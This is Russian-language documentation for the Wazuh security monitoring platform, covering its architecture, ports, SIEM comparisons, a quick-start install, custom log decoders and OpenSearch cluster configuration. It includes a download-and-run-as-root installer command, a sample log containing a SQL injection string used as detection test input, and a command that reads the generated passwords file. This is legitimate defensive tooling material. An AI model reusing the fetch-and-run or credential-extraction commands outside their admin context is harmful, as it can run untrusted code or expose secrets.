Архитектура Wazuh построена по принципу "агент - сервер - хранилище - визуализация". Агенты, установленные на конечных точках, собирают события безопасности и передают их на центральный сервер для анализа. Результаты анализа передаются в индексатор для долгосрочного хранения и поиска, а дашборд предоставляет веб-интерфейс для работы с данными.

```
┌──────────────┐     1514/TCP      ┌──────────────┐     9200/TCP      ┌──────────────┐
│              │   (AES-256)       │              │    (TLS)          │              │
│  Wazuh Agent │ ────────────────> │ Wazuh Server │ ────────────────> │    Wazuh     │
│  (endpoint)  │                   │  (manager)   │    (Filebeat)     │   Indexer    │
│              │                   │              │                   │ (OpenSearch) │
└──────────────┘                   └──────┬───────┘                   └──────┬───────┘
                                          │                                  │
                                   55000/TCP                          9200/TCP
                                   (REST API)                          (API)
                                          │                                  │
                                          ▼                                  ▼
                                   ┌──────────────────────────────────────────┐
                                   │           Wazuh Dashboard                │
                                   │     (OpenSearch Dashboards, 443/TCP)     │
                                   └──────────────────────────────────────────┘
```

## Поток данных

Процесс обработки событий безопасности в Wazuh состоит из нескольких этапов.

### Сбор данных (агент)

Агент Wazuh собирает данные из различных источников на контролируемой системе:

- Системные журналы (syslog, Windows Event Log, macOS ULS)
- Изменения файловой системы (FIM)
- Результаты сканирования конфигурации (SCA)
- Данные об установленном ПО и открытых портах (Syscollector)
- Результаты проверки на руткиты
- Вывод пользовательских команд (command monitoring)

Собранные события шифруются с использованием AES-256 и передаются на сервер через TCP-порт 1514.

### Анализ (сервер)

Сервер Wazuh (менеджер) получает события от агентов и выполняет их обработку:

1. **Декодирование** - извлечение структурированных полей из сырых логов с помощью декодеров
2. **Сопоставление с правилами** - проверка декодированных событий по набору правил обнаружения
3. **Обогащение** - добавление контекста через CDB-списки, threat intelligence и MITRE ATT&CK
4. **Генерация алертов** - формирование уведомлений при срабатывании правил
5. **Активное реагирование** - выполнение автоматических действий (блокировка IP, остановка процесса)

Сервер также управляет конфигурацией агентов, их регистрацией и обновлениями через RESTful API (порт 55000).

### Индексация и хранение (индексатор)

Filebeat, установленный на сервере Wazuh, передает алерты и архивные события в индексатор по протоколу TLS (порт 9200). Индексатор на базе OpenSearch обеспечивает:

- Полнотекстовый поиск по событиям безопасности
- Агрегацию данных для аналитических запросов
- Управление жизненным циклом индексов (ISM)
- Кластеризацию для отказоустойчивости и горизонтального масштабирования

### Визуализация (дашборд)

Wazuh Dashboard (на базе OpenSearch Dashboards) предоставляет веб-интерфейс для:

- Просмотра и фильтрации алертов в реальном времени
- Визуализации данных через графики, таблицы и карты
- Управления агентами, правилами и конфигурацией
- Формирования отчетов по соответствию стандартам
- Поиска угроз через встроенные инструменты threat hunting

Дашборд обращается к серверу Wazuh через REST API (порт 55000) для получения конфигурации и к индексатору (порт 9200) для получения данных.

## Безагентный мониторинг

Для устройств, на которые невозможно установить агент (сетевые коммутаторы, маршрутизаторы, межсетевые экраны, устройства IDS/IPS), Wazuh поддерживает безагентный мониторинг:

- **Syslog** - прием логов по протоколу syslog (UDP/TCP, порт 514, отключен по умолчанию)
- **SSH** - периодический сбор данных через SSH-подключение
- **API** - интеграция через API устройств

Данные от безагентных источников поступают непосредственно на сервер Wazuh и обрабатываются тем же движком анализа.

## Модели развертывания

Wazuh поддерживает три модели развертывания в зависимости от масштаба и требований к отказоустойчивости.

### All-in-one (все на одном узле)

Все компоненты - сервер, индексатор и дашборд - устанавливаются на один хост. Подходит для лабораторных сред, тестирования и малых инфраструктур с количеством агентов до 50-100.

| Преимущество | Ограничение |
|---|---|
| Минимальные требования к ресурсам | Отсутствие отказоустойчивости |
| Простота установки и обслуживания | Ограниченная производительность |
| Быстрое развертывание для PoC | Не подходит для продуктивных сред |

### Одноузловая (single-node)

Каждый компонент устанавливается на отдельный сервер: один сервер Wazuh, один индексатор, один дашборд. Рекомендуется для сред среднего масштаба (100-500 агентов).

| Преимущество | Ограничение |
|---|---|
| Разделение нагрузки между компонентами | Каждый компонент - точка отказа |
| Возможность независимого масштабирования | Требуется больше серверов |
| Подходит для продуктивных сред | Нет кластеризации |

### Распределенная (multi-node)

Кластерная конфигурация с несколькими экземплярами серверов и индексаторов. Один дашборд подключается к кластерам сервера и индексатора. Предназначена для крупных инфраструктур (более 500 агентов) с требованиями к высокой доступности.

| Преимущество | Ограничение |
|---|---|
| Высокая доступность всех компонентов | Сложность настройки и обслуживания |
| Горизонтальное масштабирование | Повышенные требования к ресурсам |
| Балансировка нагрузки | Требуется опыт кластерного администрирования |

Кластер серверов Wazuh использует порт 1516/TCP для межузловой синхронизации. Кластер индексаторов использует порты 9300-9400/TCP для внутрикластерного взаимодействия.

## Протоколы и порты

В таблице перечислены все сетевые порты, используемые компонентами Wazuh.

| Порт | Протокол | Компонент | Назначение |
|---|---|---|---|
| 1514/TCP | AES-256 | Агент - Сервер | Передача событий от агентов |
| 1514/UDP | AES-256 | Агент - Сервер | Передача событий (опционально) |
| 1515/TCP | TLS | Агент - Сервер | Регистрация (enrollment) агентов |
| 1516/TCP | TLS | Сервер - Сервер | Синхронизация кластера серверов |
| 514/UDP,TCP | Syslog | Внешние источники - Сервер | Прием syslog (отключен по умолчанию) |
| 55000/TCP | HTTPS | Дашборд - Сервер | REST API управления |
| 9200/TCP | HTTPS | Сервер/Дашборд - Индексатор | API индексатора (Filebeat, запросы) |
| 9300-9400/TCP | TLS | Индексатор - Индексатор | Внутрикластерное взаимодействие |
| 443/TCP | HTTPS | Пользователь - Дашборд | Веб-интерфейс |

## Сравнение с альтернативными SIEM-решениями

Архитектура Wazuh имеет общие принципы с другими SIEM-платформами, но отличается в реализации.

### Wazuh и Splunk

| Аспект | Wazuh | Splunk |
|---|---|---|
| Агент сбора | Wazuh Agent | Universal Forwarder / Heavy Forwarder |
| Обработка данных | Wazuh Server (декодеры + правила) | Indexer (search-time/index-time) |
| Хранение | Wazuh Indexer (OpenSearch) | Splunk Indexer (проприетарный) |
| Визуализация | Wazuh Dashboard | Search Head |
| Лицензирование | Open source (GPLv2) | Коммерческая лицензия (по объему данных) |
| Кластер | Нативная кластеризация сервера и индексатора | Indexer Cluster + Search Head Cluster |

Splunk использует проприетарный формат хранения и тарифицируется по объему индексируемых данных. Wazuh использует OpenSearch и не имеет ограничений по объему данных на уровне лицензии.

### Wazuh и ELK Stack (Elastic Security)

| Аспект | Wazuh | ELK Stack |
|---|---|---|
| Агент сбора | Wazuh Agent | Elastic Agent / Beats |
| Обработка данных | Wazuh Server | Logstash / Elasticsearch Ingest Pipelines |
| Хранение | Wazuh Indexer (OpenSearch) | Elasticsearch |
| Визуализация | Wazuh Dashboard | Kibana |
| Правила обнаружения | Wazuh Rules (XML) | Detection Rules (KQL/EQL) |
| Лицензирование | Open source (GPLv2) | Elastic License 2.0 / SSPL |

Wazuh изначально создавался как форк OSSEC и ориентирован на задачи безопасности. ELK Stack - универсальная платформа для работы с логами, в которой функции безопасности появились позднее через Elastic Security.

### Wazuh и IBM QRadar

| Аспект | Wazuh | QRadar |
|---|---|---|
| Сбор данных | Wazuh Agent + Syslog | Event Collectors / Flow Collectors |
| Обработка | Wazuh Server | Event Processors / Flow Processors |
| Корреляция | Правила с уровнями (0-15) | Offense Engine |
| Визуализация | Wazuh Dashboard | QRadar Console |
| Лицензирование | Open source (GPLv2) | Коммерческая лицензия (по EPS) |
| Развертывание | On-premise, Docker, Kubernetes | On-premise, виртуальные appliance |

QRadar использует концепцию Offenses для корреляции событий и тарифицируется по количеству событий в секунду (EPS). Wazuh использует систему правил с уровнями критичности от 0 до 15 и не имеет ограничений EPS.

## Рекомендации по выбору модели развертывания

При планировании развертывания Wazuh следует учитывать следующие факторы:

- **Количество агентов** - определяет требования к вычислительным ресурсам сервера
- **Объем событий** - влияет на размер хранилища индексатора и пропускную способность сети
- **Требования к доступности** - для продуктивных сред рекомендуется кластерная конфигурация
- **Срок хранения данных** - определяет объем дискового пространства индексатора
- **Сетевая топология** - влияет на размещение компонентов и настройку межсетевых экранов

Для первоначального ознакомления с платформой рекомендуется начать с [развертывания в Docker](/docs/wazuh/deployment/wazuh-docker-deployment/), которое позволяет быстро запустить все компоненты на одном хосте. Подробное описание каждого компонента доступно в разделе [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/).


---

# Быстрый старт Wazuh 4.14 - установка за 5 минут

Source: https://opennix.org/docs/wazuh/installation/wazuh-quickstart/


Быстрый старт позволяет установить все центральные компоненты Wazuh 4.14 (индексатор, сервер, дашборд) на одном хосте с помощью автоматического инсталлятора. Это самый быстрый способ развернуть рабочую инсталляцию для ознакомления или тестирования.

## Предварительные требования

### Аппаратные требования

| Параметр | Минимум | Рекомендация |
|---|---|---|
| CPU | 4 ядра | 8 ядер |
| RAM | 8 ГБ | 16 ГБ |
| Диск | 50 ГБ | 200 ГБ |

Подробные требования для различных сценариев описаны в [обзоре установки](/docs/wazuh/installation/).

### Поддерживаемые операционные системы

- Amazon Linux 2, Amazon Linux 2023
- CentOS Stream 10
- Red Hat Enterprise Linux 7, 8, 9, 10
- Ubuntu 16.04, 18.04, 20.04, 22.04, 24.04

Требуется 64-битная версия операционной системы.

### Предварительные условия

- Доступ с правами `root` или через `sudo`
- Доступ в интернет для загрузки пакетов
- Открытые порты: 443 (Dashboard), 1514-1515 (агенты), 9200 (Indexer), 55000 (API)
- Актуальные системные пакеты (`apt update` или `yum update`)

## Установка

### Загрузка и запуск инсталлятора

Скачайте скрипт установки и запустите его с флагом `-a` (all-in-one):

```bash
curl -sO https://packages.wazuh.com/4.14/wazuh-install.sh && sudo bash ./wazuh-install.sh -a
```

Скрипт автоматически выполнит следующие действия:

1. Проверит системные требования
2. Сгенерирует SSL-сертификаты
3. Установит и настроит Wazuh Indexer
4. Установит и настроит Wazuh Server (менеджер + Filebeat)
5. Установит и настроит Wazuh Dashboard
6. Инициализирует кластер безопасности

Процесс занимает от 5 до 15 минут в зависимости от скорости интернет-соединения и производительности сервера.

### Результат установки

По завершении инсталлятор выведет учетные данные для доступа:

```
INFO: --- Summary ---
INFO: You can access the web interface https://<WAZUH_DASHBOARD_IP>
   User: admin
   Password: <ADMIN_PASSWORD>
```

Сохраните эти учетные данные - они потребуются для входа в веб-интерфейс.

## Доступ к дашборду

Откройте веб-браузер и перейдите по адресу:

```
https://<IP_АДРЕС_СЕРВЕРА>
```

Используйте учетные данные, полученные на предыдущем шаге:

- **Логин:** `admin`
- **Пароль:** пароль из вывода инсталлятора

Браузер отобразит предупреждение о самоподписанном сертификате - это ожидаемое поведение для установки с автоматически сгенерированными сертификатами.

### Получение паролей

Если пароли были утеряны, их можно извлечь из архива:

```bash
sudo tar -O -xvf wazuh-install-files.tar wazuh-install-files/wazuh-passwords.txt
```

## Подключение первого агента

После установки центральных компонентов необходимо развернуть агенты на конечных точках.

### Linux (DEB)

```bash
WAZUH_MANAGER="<IP_АДРЕС_СЕРВЕРА>" apt-get install wazuh-agent
systemctl daemon-reload
systemctl enable wazuh-agent
systemctl start wazuh-agent
```

Перед установкой необходимо добавить репозиторий Wazuh. Полная процедура описана в разделе [установка агента](/docs/wazuh/installation/wazuh-agent-installation/).

### Linux (RPM)

```bash
WAZUH_MANAGER="<IP_АДРЕС_СЕРВЕРА>" yum install wazuh-agent
systemctl daemon-reload
systemctl enable wazuh-agent
systemctl start wazuh-agent
```

### Windows

```cmd
wazuh-agent-4.14.4-1.msi /q WAZUH_MANAGER="<IP_АДРЕС_СЕРВЕРА>"
NET START WazuhSvc
```

Скачайте MSI-пакет по адресу: `https://packages.wazuh.com/4.x/windows/wazuh-agent-4.14.4-1.msi`

### macOS

```bash
echo "WAZUH_MANAGER='<IP_АДРЕС_СЕРВЕРА>'" > /tmp/wazuh_envs && sudo installer -pkg wazuh-agent-4.14.4-1.arm64.pkg -target /
sudo launchctl bootstrap system /Library/LaunchDaemons/com.wazuh.agent.plist
```

Для Intel Mac используйте пакет `wazuh-agent-4.14.4-1.intel64.pkg`.

## Проверка установки

### Проверка статуса компонентов

```bash
systemctl status wazuh-manager
systemctl status wazuh-indexer
systemctl status wazuh-dashboard
```

### Проверка доступности индексатора

```bash
curl -k -u admin:<ADMIN_PASSWORD> https://localhost:9200
```

Ожидаемый ответ содержит имя кластера и версию OpenSearch.

### Проверка подключения агентов

```bash
curl -k -u admin:<ADMIN_PASSWORD> https://localhost:9200/_cat/nodes?v
```

Или через REST API Wazuh:

```bash
TOKEN=$(curl -sk -u wazuh-wui:<WUI_PASSWORD> \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")

curl -sk -H "Authorization: Bearer $TOKEN" \
  "https://localhost:55000/agents?status=active" | python3 -m json.tool
```

## Действия после установки

### Отключение автоматических обновлений

Для обеспечения стабильности рекомендуется отключить автоматическое обновление пакетов Wazuh:

**Для Ubuntu/Debian:**

```bash
sed -i "s/^deb /#deb /" /etc/apt/sources.list.d/wazuh.list
apt-get update
```

**Для CentOS/RHEL:**

```bash
sed -i "s/^enabled=1/enabled=0/" /etc/yum.repos.d/wazuh.repo
```

### Смена паролей по умолчанию

Пароли, сгенерированные инсталлятором, следует сменить для production-среды. Подробная процедура описана в разделе [установка дашборда](/docs/wazuh/installation/wazuh-dashboard-installation/).

### Удаление

Для полного удаления установки, выполненной через инсталлятор:

```bash
sudo bash ./wazuh-install.sh -u
```

Подробная процедура удаления отдельных компонентов описана в разделе [удаление Wazuh](/docs/wazuh/installation/wazuh-uninstalling/).

## Дальнейшие шаги

- [Установка агентов](/docs/wazuh/installation/wazuh-agent-installation/) - развертывание агентов на конечных точках
- [Архитектура Wazuh](/docs/wazuh/getting-started/wazuh-architecture/) - понимание компонентов платформы
- [Компоненты Wazuh](/docs/wazuh/getting-started/wazuh-components/) - детальное описание каждого компонента


---

# Декодеры Wazuh 4.14 - извлечение данных из логов

Source: https://opennix.org/docs/wazuh/rules-decoders/wazuh-decoders/


Декодеры Wazuh извлекают структурированные данные из необработанных лог-сообщений: IP-адреса, имена пользователей, действия, коды ошибок и другие поля. Без корректного декодирования правила не смогут анализировать события, и алерты не будут содержать полезной информации. В этом руководстве описан синтаксис декодеров, иерархия родительских и дочерних декодеров, встроенные декодеры и процесс создания пользовательских декодеров.

## Фазы обработки событий

Каждое событие проходит две фазы декодирования:

### Фаза 1: Предварительное декодирование (pre-decoding)

Выполняется автоматически для всех событий. Извлекаются стандартные поля syslog:

- **timestamp** - временная метка события
- **hostname** - имя хоста-источника
- **program_name** - имя программы (из заголовка syslog)

Пример входного лога:

```
Mar  5 10:15:01 web-server sshd[12345]: Failed password for root from 192.168.1.100 port 22 ssh2
```

Результат pre-decoding:

```
timestamp: 'Mar  5 10:15:01'
hostname: 'web-server'
program_name: 'sshd'
```

Оставшаяся часть сообщения (`Failed password for root from 192.168.1.100 port 22 ssh2`) передается в фазу декодирования.

### Фаза 2: Декодирование (decoding)

На этой фазе декодеры анализируют тело сообщения и извлекают специфичные поля. Декодеры применяются в порядке определения: сначала родительские, затем дочерние.

## Структура XML-декодера

Каждый декодер определяется элементом `<decoder>`:

```xml
<decoder name="sshd-failed">
  <parent>sshd</parent>
  <prematch>^Failed password</prematch>
  <regex>^Failed password for (\S+) from (\S+) port (\d+)</regex>
  <order>srcuser, srcip, srcport</order>
</decoder>
```

## Элементы декодера

### Основные элементы

**name** (атрибут) - уникальное имя декодера:

```xml
<decoder name="my-app">
```

**parent** - связь с родительским декодером. Дочерний декодер применяется только если родительский сработал:

```xml
<parent>sshd</parent>
```

Родительский декодер может иметь множество дочерних, но дочерний декодер не может быть родителем для других.

**program_name** - сопоставление с именем программы из заголовка syslog. Поддерживает типы regex, sregex, pcre2:

```xml
<program_name>sshd</program_name>
<program_name type="pcre2">nginx|apache2?</program_name>
```

**prematch** - предварительное условие, которое должно совпасть перед применением основного regex. Работает с телом сообщения после извлечения syslog-заголовков:

```xml
<prematch>^Failed password</prematch>
<prematch type="pcre2">^(?:Failed|Invalid) password</prematch>
```

**regex** - регулярное выражение для извлечения полей. Поля, заключенные в круглые скобки, извлекаются как значения:

```xml
<regex>^Failed password for (\S+) from (\S+) port (\d+)</regex>
```

**order** - определяет имена полей, соответствующие группам захвата в regex:

```xml
<order>srcuser, srcip, srcport</order>
```

Доступные стандартные имена полей:

| Поле | Описание |
|---|---|
| `srcip` | IP-адрес источника |
| `dstip` | IP-адрес назначения |
| `srcport` | Порт источника |
| `dstport` | Порт назначения |
| `srcuser` | Пользователь источника |
| `dstuser` | Пользователь назначения |
| `user` | Пользователь (общий) |
| `protocol` | Протокол |
| `action` | Действие |
| `id` | Идентификатор события |
| `url` | URL |
| `data` | Произвольные данные |
| `extra_data` | Дополнительные данные |
| `status` | Статус |
| `system_name` | Имя системы |

Помимо стандартных полей допускается использование произвольных имен - они станут динамическими полями.

### Дополнительные элементы

**type** - тип лога. Определяет категорию для использования в правилах:

```xml
<type>syslog</type>
```

Доступные типы: `syslog` (по умолчанию), `firewall`, `ids`, `web-log`, `squid`, `windows`, `host-information`, `ossec`.

**accumulate** - отслеживание многострочных событий по полю `id`:

```xml
<accumulate />
```

**fts** (First Time Seen) - генерирует событие при первом появлении указанной комбинации полей:

```xml
<fts>srcuser, srcip</fts>
```

**use_own_name** - дочерний декодер использует собственное имя вместо наследования имени родителя:

```xml
<use_own_name>true</use_own_name>
```

**plugin_decoder** - вызов специализированного встроенного декодера:

```xml
<plugin_decoder>JSON_Decoder</plugin_decoder>
```

Доступные плагины: `JSON_Decoder`, `PF_Decoder`, `SymantecWS_Decoder`, `SonicWall_Decoder`, `OSSECAlert_Decoder`.

## Иерархия декодеров (parent-child)

Декодеры организованы в иерархическую структуру для повышения эффективности и точности парсинга.

### Принцип работы

1. Wazuh ищет подходящий родительский декодер по `program_name` или `prematch`
2. После срабатывания родительского декодера проверяются все его дочерние декодеры
3. Дочерний декодер, чей `prematch` или `regex` совпал, извлекает поля

### Пример иерархии

**Родительский декодер** (определяет источник - sshd):

```xml
<decoder name="sshd">
  <program_name>^sshd</program_name>
</decoder>
```

**Дочерний декодер** (извлекает поля при неудачном входе):

```xml
<decoder name="sshd-failed">
  <parent>sshd</parent>
  <prematch>^Failed password</prematch>
  <regex>^Failed password for (\S+) from (\S+) port (\d+)</regex>
  <order>srcuser, srcip, srcport</order>
</decoder>
```

**Дочерний декодер** (извлекает поля при успешном входе):

```xml
<decoder name="sshd-success">
  <parent>sshd</parent>
  <prematch>^Accepted</prematch>
  <regex>^Accepted \S+ for (\S+) from (\S+) port (\d+)</regex>
  <order>srcuser, srcip, srcport</order>
</decoder>
```

**Дочерний декодер** (разрыв соединения):

```xml
<decoder name="sshd-disconnect">
  <parent>sshd</parent>
  <prematch>^Disconnected from</prematch>
  <regex>^Disconnected from user (\S+) (\S+) port (\d+)</regex>
  <order>srcuser, srcip, srcport</order>
</decoder>
```

## JSON-декодер

Wazuh включает встроенный плагин `JSON_Decoder` для автоматического парсинга JSON-логов. Это особенно полезно для приложений, логирующих в формате JSON, и облачных сервисов.

### Базовое использование

```xml
<decoder name="json-app">
  <prematch>^{"</prematch>
  <plugin_decoder>JSON_Decoder</plugin_decoder>
</decoder>
```

JSON-декодер автоматически извлекает все поля из JSON-объекта. Вложенные поля представляются через точечную нотацию: `data.source.ip`.

### Пример JSON-лога

Входной лог:

```json
{"timestamp":"2025-03-05T10:15:01Z","event":"login_failed","user":"admin","src_ip":"192.168.1.100","port":22}
```

Результат декодирования:

```
timestamp: '2025-03-05T10:15:01Z'
event: 'login_failed'
user: 'admin'
src_ip: '192.168.1.100'
port: '22'
```

### Настройки JSON-декодера

**json_null_field** - поведение при значении `null`:

```xml
<json_null_field>discard</json_null_field>  <!-- игнорировать null-поля -->
<json_null_field>string</json_null_field>   <!-- сохранить как строку "null" -->
```

**json_array_structure** - обработка массивов:

```xml
<json_array_structure>csv</json_array_structure>  <!-- массив как CSV -->
```

## Стандартные декодеры

Wazuh включает более 1500 декодеров в стандартной поставке, расположенных в `/var/ossec/ruleset/decoders/`. Основные файлы:

| Файл | Описание |
|---|---|
| `0005-sshd_decoders.xml` | OpenSSH (sshd) |
| `0010-syslog_decoders.xml` | Общие syslog-сообщения |
| `0020-apache_decoders.xml` | Apache HTTP Server |
| `0025-nginx_decoders.xml` | Nginx |
| `0040-pam_decoders.xml` | PAM-аутентификация |
| `0050-postfix_decoders.xml` | Postfix MTA |
| `0100-windows_decoders.xml` | Windows Event Log |
| `0150-cisco_decoders.xml` | Cisco устройства |
| `0200-amazon_decoders.xml` | AWS CloudTrail |
| `0350-docker_decoders.xml` | Docker |

Стандартные декодеры обновляются при [обновлении Wazuh](/docs/wazuh/operations/wazuh-upgrade/) и не должны редактироваться напрямую.

## Создание пользовательских декодеров

Пользовательские декодеры размещаются в `/var/ossec/etc/decoders/local_decoder.xml`. Этот файл не затрагивается при обновлении.

### Пример: декодер для пользовательского приложения

Допустим, приложение генерирует логи в формате:

```
Mar  5 10:15:01 app-server myapp[9876]: AUTH_FAIL user=admin ip=192.168.1.100 reason=invalid_password
```

**Шаг 1: Создайте родительский декодер**

```xml
<decoder name="myapp">
  <program_name>^myapp</program_name>
</decoder>
```

**Шаг 2: Создайте дочерний декодер для извлечения полей**

```xml
<decoder name="myapp-auth-fail">
  <parent>myapp</parent>
  <prematch>^AUTH_FAIL</prematch>
  <regex>^AUTH_FAIL user=(\S+) ip=(\S+) reason=(\S+)</regex>
  <order>srcuser, srcip, data</order>
</decoder>
```

**Шаг 3: Протестируйте декодер**

```bash
/var/ossec/bin/wazuh-logtest
```

Введите лог-строку и убедитесь, что поля извлекаются корректно.

**Шаг 4: Создайте правило для события**

В `/var/ossec/etc/rules/local_rules.xml`:

```xml
<group name="myapp,">
  <rule id="100200" level="5">
    <decoded_as>myapp</decoded_as>
    <match>AUTH_FAIL</match>
    <description>MyApp: authentication failure.</description>
    <group>authentication_failed,</group>
  </rule>
</group>
```

**Шаг 5: Перезагрузите менеджер**

```bash
/var/ossec/bin/wazuh-control reload
```

### Пример: декодер для веб-приложения

Лог веб-приложения:

```
2025-03-05 10:15:01 [ERROR] SQL injection attempt detected: query="SELECT * FROM users WHERE id=1 OR 1=1" client=192.168.1.100 path=/api/users
```

Декодер:

```xml
<decoder name="webapp">
  <prematch>^\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2} \[</prematch>
</decoder>

<decoder name="webapp-sqli">
  <parent>webapp</parent>
  <prematch>SQL injection attempt</prematch>
  <regex>client=(\S+) path=(\S+)</regex>
  <order>srcip, url</order>
</decoder>
```

### Пример: декодер для JSON-логов приложения

Если приложение логирует в JSON:

```json
{"level":"error","message":"unauthorized access","user":"guest","ip":"10.0.0.5","path":"/admin","timestamp":"2025-03-05T10:15:01Z"}
```

Декодер:

```xml
<decoder name="json-webapp">
  <prematch>^{"level":</prematch>
  <plugin_decoder>JSON_Decoder</plugin_decoder>
</decoder>
```

Правило может обращаться к полям JSON через элемент `<field>`:

```xml
<rule id="100210" level="8">
  <decoded_as>json-webapp</decoded_as>
  <field name="level">error</field>
  <field name="message">unauthorized access</field>
  <description>Web application: unauthorized access attempt.</description>
</rule>
```

## Тестирование декодеров с wazuh-logtest

### Интерактивный режим

```bash
/var/ossec/bin/wazuh-logtest
```

Введите лог и проверьте фазы pre-decoding и decoding:

```
Type one log per line

Mar  5 10:15:01 app-server myapp[9876]: AUTH_FAIL user=admin ip=192.168.1.100 reason=invalid_password

**Phase 1: Completed pre-decoding.
       full event: '...'
       timestamp: 'Mar  5 10:15:01'
       hostname: 'app-server'
       program_name: 'myapp'

**Phase 2: Completed decoding.
       name: 'myapp-auth-fail'
       parent: 'myapp'
       srcuser: 'admin'
       srcip: '192.168.1.100'
       data: 'invalid_password'
```

### Отладка декодеров

Если декодер не срабатывает:

1. Проверьте, что `program_name` в родительском декодере совпадает с именем программы в логе
2. Убедитесь, что `prematch` совпадает с началом тела сообщения (после pre-decoding)
3. Проверьте regex на корректность групп захвата
4. Используйте флаг `-v` для подробного вывода:

```bash
/var/ossec/bin/wazuh-logtest -v
```

### Типичные ошибки

| Ошибка | Причина | Решение |
|---|---|---|
| Декодер не срабатывает | `program_name` не совпадает | Проверьте формат syslog-заголовка |
| Поля не извлекаются | Неверный regex или порядок в `order` | Проверьте количество групп захвата |
| Дочерний декодер не применяется | `parent` не совпадает с именем родительского декодера | Сверьте имена |
| JSON-поля не извлекаются | Отсутствует `plugin_decoder` | Добавьте `<plugin_decoder>JSON_Decoder</plugin_decoder>` |

## Устранение проблем с декодерами

### Декодер не определяет program_name

Некоторые источники логов не используют стандартный формат syslog. В этом случае `program_name` не извлекается на этапе pre-decoding. Используйте `prematch` вместо `program_name` для идентификации источника.

### Конфликт декодеров

Если два декодера совпадают для одного лога, приоритет получает первый загруженный. Пользовательские декодеры загружаются после стандартных. Для решения конфликта используйте более специфичный `prematch`.

### Производительность декодеров

Избегайте сложных регулярных выражений с вложенными квантификаторами (`(.*)*`, `(a+)+`), которые могут вызвать катастрофический бэктрекинг. Используйте pcre2 с атомарными группами для критичных по производительности декодеров.

## Связанные разделы

- [Правила обнаружения](/docs/wazuh/rules-decoders/wazuh-rules/) - правила, использующие данные декодеров
- [Анализ журналов](/docs/wazuh/capabilities/wazuh-log-data-collection/) - сбор логов для декодирования
- [Устранение неполадок](/docs/wazuh/operations/wazuh-troubleshooting/) - диагностика проблем с декодерами


---

# Кластер индексатора Wazuh - OpenSearch и хранение данных

Source: https://opennix.org/docs/wazuh/infrastructure/wazuh-indexer-cluster/


Кластер индексатора Wazuh построен на OpenSearch и обеспечивает хранение, индексацию и полнотекстовый поиск событий безопасности. Индексатор принимает данные от серверов Wazuh через Filebeat, организует их в индексы с настраиваемым количеством шардов и реплик, предоставляет API для поиска и управления жизненным циклом данных.

## Архитектура кластера

### Роли узлов

Каждый узел кластера OpenSearch выполняет одну или несколько ролей. Правильное распределение ролей критически важно для производительности и отказоустойчивости.

**Cluster-manager (менеджер кластера)**

Узел с ролью `cluster_manager` управляет состоянием кластера:

- Создание и удаление индексов
- Распределение шардов по узлам
- Отслеживание состояния узлов
- Управление шаблонами индексов и ISM-политиками

В продуктивном кластере рекомендуется выделять 3 узла с ролью `cluster_manager` для кворума. Эти узлы не должны хранить данные (не назначайте им роль `data`).

```yaml
# opensearch.yml - dedicated cluster-manager node
node.name: indexer-manager-01
node.roles:
  - cluster_manager
```

**Data (узел данных)**

Узлы с ролью `data` хранят шарды индексов и выполняют операции поиска и агрегации:

- Хранение первичных шардов и реплик
- Выполнение поисковых запросов
- Агрегация данных
- Индексация новых документов

Data-узлы потребляют наибольшее количество ресурсов (CPU, RAM, диск).

```yaml
# opensearch.yml - dedicated data node
node.name: indexer-data-01
node.roles:
  - data
```

**Ingest (узел приема данных)**

Узлы с ролью `ingest` выполняют предварительную обработку документов перед индексацией:

- Трансформация полей
- Обогащение данных
- Преобразование форматов

В типичной установке Wazuh роль ingest совмещается с ролью data, поскольку Filebeat передает данные в готовом формате.

**Coordinating (координирующий узел)**

Узел без явно назначенных ролей выступает координатором:

- Маршрутизация поисковых запросов к нужным data-узлам
- Объединение результатов из нескольких шардов
- Снижение нагрузки на data-узлы при большом количестве параллельных запросов

```yaml
# opensearch.yml - coordinating-only node
node.name: indexer-coord-01
node.roles: []
```

### Типовые конфигурации кластера

**Минимальный кластер (3 узла)**

```
Узел 1: cluster_manager + data
Узел 2: cluster_manager + data
Узел 3: cluster_manager + data
```

**Продуктивный кластер (5+ узлов)**

```
Узлы 1-3: cluster_manager (dedicated, без данных)
Узлы 4-6: data
Узел 7:   coordinating (опционально)
```

## Обнаружение и формирование кластера

### Конфигурация discovery

Узлы кластера находят друг друга через механизм обнаружения (discovery). Конфигурация задается в `opensearch.yml`:

```yaml
# Список seed-узлов для начального обнаружения
discovery.seed_hosts:
  - 192.168.1.20
  - 192.168.1.21
  - 192.168.1.22

# Узлы, участвующие в начальном формировании кластера (bootstrap)
cluster.initial_cluster_manager_nodes:
  - indexer-01
  - indexer-02
  - indexer-03
```

**Параметр `discovery.seed_hosts`** содержит список IP-адресов или FQDN узлов, к которым новый узел обращается для присоединения к кластеру. Рекомендуется указывать все узлы с ролью `cluster_manager`.

**Параметр `cluster.initial_cluster_manager_nodes`** используется только при первом запуске кластера (bootstrap). После успешного формирования кластера этот параметр можно удалить. Он содержит имена узлов (`node.name`), а не IP-адреса.

### Полный пример opensearch.yml

```yaml
cluster.name: wazuh-cluster
node.name: indexer-01
node.roles:
  - cluster_manager
  - data

network.host: 0.0.0.0
http.port: 9200
transport.port: 9300

discovery.seed_hosts:
  - 192.168.1.20
  - 192.168.1.21
  - 192.168.1.22

cluster.initial_cluster_manager_nodes:
  - indexer-01
  - indexer-02
  - indexer-03

plugins.security.ssl.transport.enabled: true
plugins.security.ssl.http.enabled: true
plugins.security.ssl.transport.pemcert_filepath: /etc/wazuh-indexer/certs/indexer.pem
plugins.security.ssl.transport.pemkey_filepath: /etc/wazuh-indexer/certs/indexer-key.pem
plugins.security.ssl.transport.pemtrustedcas_filepath: /etc/wazuh-indexer/certs/root-ca.pem
plugins.security.ssl.http.pemcert_filepath: /etc/wazuh-indexer/certs/indexer.pem
plugins.security.ssl.http.pemkey_filepath: /etc/wazuh-indexer/certs/indexer-key.pem
plugins.security.ssl.http.pemtrustedcas_filepath: /etc/wazuh-indexer/certs/root-ca.pem

compatibility.override_main_response_version: true
```

## Стратегия шардирования

### Принципы шардирования

Шарды (shards) - это единицы хранения и распределения данных в OpenSearch. Каждый индекс состоит из одного или нескольких первичных шардов, каждый из которых может иметь реплики.

**Рекомендации по количеству шардов:**

- Количество первичных шардов должно равняться количеству data-узлов в кластере
- Оптимальный размер одного шарда: 10-50 ГБ
- Слишком большое количество мелких шардов создает избыточную нагрузку на cluster-manager
- Слишком малое количество крупных шардов ограничивает параллелизм поиска

